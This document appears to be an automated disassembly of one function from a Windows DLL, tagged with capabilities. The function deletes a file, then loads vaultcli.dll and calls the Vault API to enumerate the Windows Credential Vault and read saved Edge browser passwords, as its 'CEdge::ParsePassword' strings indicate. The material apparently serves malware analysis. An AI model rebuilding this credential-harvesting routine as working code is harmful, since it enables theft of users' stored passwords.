Function at 0x10007200
Capabilities:
Delete file
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100de90b
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
mov eax, dword [0x10115034]
xor eax, esp
mov dword [esp + 0xf0], eax
push ebx
push esi
push edi
mov eax, dword [0x10115034]
xor eax, esp
push eax
lea eax, [esp + 0x108]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [esi]
sub esp, 0x18
mov ebx, dword [ebp + 8]
mov dword [esp + 0x48], ebx
push esp
call dword [edx + 0x14]
mov ecx, esi
call fcn.10002e20
mov edi, eax
test edi, edi
je 0x10007283
push ebx
push edi
mov ecx, esi
call fcn.100045d0
xor edx, edx
mov ecx, edi
call fcn.100a7d10
cmp dword [esi + 0x30], 8
lea eax, [esi + 0x1c]
jb 0x1000727c
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [esi + 0x80], 0
jne 0x100072c3
push str.vaultcli.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 0x80], eax
test eax, eax
jne 0x100072c3
push str.Init_vault_fail_
push 3
push 0x3c
push 0x100e9260
push 0x100e92ac
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.VaultOpenVault
push dword [esi + 0x80]
call edi
mov dword [esp + 0x24], eax
test eax, eax
jne 0x10007300
push str.Find_VaultOpenVault_fail_
push 3
push 0x49
push 0x100e9348
push 0x100e931c
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
push str.VaultEnumerateVaults
push dword [esi + 0x80]
call edi
mov ebx, eax
test ebx, ebx
jne 0x10007335
push 0x100e93d8
push 3
push 0x50
push 0x100e9418
push 0x100e93ac
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
push str.VaultEnumerateItems
push dword [esi + 0x80]
call edi
mov dword [esp + 0x2c], eax
test eax, eax
jne 0x1000736c
push str.Find_VaultEnumerateVaults_fail_
push 3
push 0x57
push 0x100e94b8
push 0x100e9504
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
push str.VaultCloseVault
push dword [esi + 0x80]
call edi
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x100073a3
push str.Find_VaultCloseVault_fail_
push 3
push 0x5e
push 0x100e9578
push 0x100e95c4
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
push str.VaultFree
push dword [esi + 0x80]
call edi
mov dword [esp + 0x18], eax
test eax, eax
jne 0x100073da
push str.Find_VaultFree_fail_
push 3
push 0x65
push 0x100e9628
push 0x100e9674
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
push str.VaultGetItem
push dword [esi + 0x80]
call edi
mov dword [esp + 0x28], eax
test eax, eax
jne 0x10007411
push str.Find_VaultGetItem8_fail_
push 3
push 0x6c
push 0x100e9710
push 0x100e96e4
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
lea eax, [esp + 0x40]
mov dword [esp + 0x44], 0
push eax
lea eax, [esp + 0x48]
push eax
push 0
call ebx
test eax, eax
je 0x1000744d
push str.VaultEnumerateVaults_fail_
push 3
push 0x75
push str..._srcMoniterHelper_browserEdge.cpp
push str.CEdge::ParsePassword
call fcn.100d1600
add esp, 0x14
xor al, al
jmp 0x100075cf
xor ebx, ebx
mov dword [esp + 0x20], ebx
cmp dword [esp + 0x44], ebx
jbe 0x100075cd
xor esi, esi
mov dword [esp + 0x14], esi
lea eax, [esp + 0x38]
push eax
mov eax, dword [esp + 0x44]
push 0
add eax, esi
push eax
call dword [esp + 0x30]
test eax, eax
jne 0x100075b7
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x4c]
push eax
push 0x200
push dword [esp + 0x44]
call dword [esp + 0x3c]
test eax, eax
jne 0x100075ae
xor edi, edi
cmp dword [esp + 0x48], edi
jbe 0x100075a6
xor ebx, ebx
lea ebx, [ebx]
lea ecx, [esp + 0x4c]
call fcn.10003f50
mov dword [esp + 0x110], 0
mov esi, dword [esp + 0x3c]
add esi, ebx
mov eax, dword [esi + 0x14]
cmp dword [eax + 8], 7
jne 0x100074d8
mov eax, dword [eax + 0x10]
jmp 0x100074dd
mov eax, 0x100e980c
push eax
lea ecx, [esp + 0x50]
call fcn.10007020
mov eax, dword [esi + 0x18]
cmp dword [eax + 8], 7
jne 0x100074f5
mov eax, dword [eax + 0x10]
jmp 0x100074fa
mov eax, 0x100e9810
push eax
lea ecx, [esp + 0x98]
call fcn.10007020
lea eax, [esp + 0x34]
mov dword [esp + 0x34], 0
push eax
push 0
push 0
push dword [esi + 0x20]
push dword [esi + 0x18]
push dword [esi + 0x14]
push esi
push dword [esp + 0x54]
call dword [esp + 0x48]
test eax, eax
jne 0x1000756f
mov eax, dword [esp + 0x34]
mov ecx, dword [eax + 0x1c]
cmp dword [ecx + 8], 7
sete al
test al, al
je 0x10007545
mov eax, dword [ecx + 0x10]
jmp 0x1000754a
mov eax, 0x100e9814
push eax
lea ecx, [esp + 0xb0]
call fcn.10007020
cmp dword [esp + 0xbc], 0
je 0x1000756f
mov ecx, dword [esp + 0x30]
lea eax, [esp + 0x4c]
push eax
call fcn.10005730
mov eax, dword [esp + 0x34]
test eax, eax
je 0x1000757c
push eax
call dword [esp + 0x1c]
lea ecx, [esp + 0x4c]
mov dword [esp + 0x110], 0xffffffff
call fcn.10003fd0
inc edi
add ebx, 0x38
cmp edi, dword [esp + 0x48]
jb 0x100074b0
mov ebx, dword [esp + 0x20]
mov esi, dword [esp + 0x14]
push dword [esp + 0x3c]
call dword [esp + 0x1c]
lea eax, [esp + 0x38]
push eax
call dword [esp + 0x20]
inc ebx
add esi, 0x10
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], esi
cmp ebx, dword [esp + 0x44]
jb 0x10007463
mov al, 1
mov ecx, dword [esp + 0x108]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xf0]
xor ecx, esp
call fcn.100dc8fb
mov esp, ebp
pop ebp
ret 4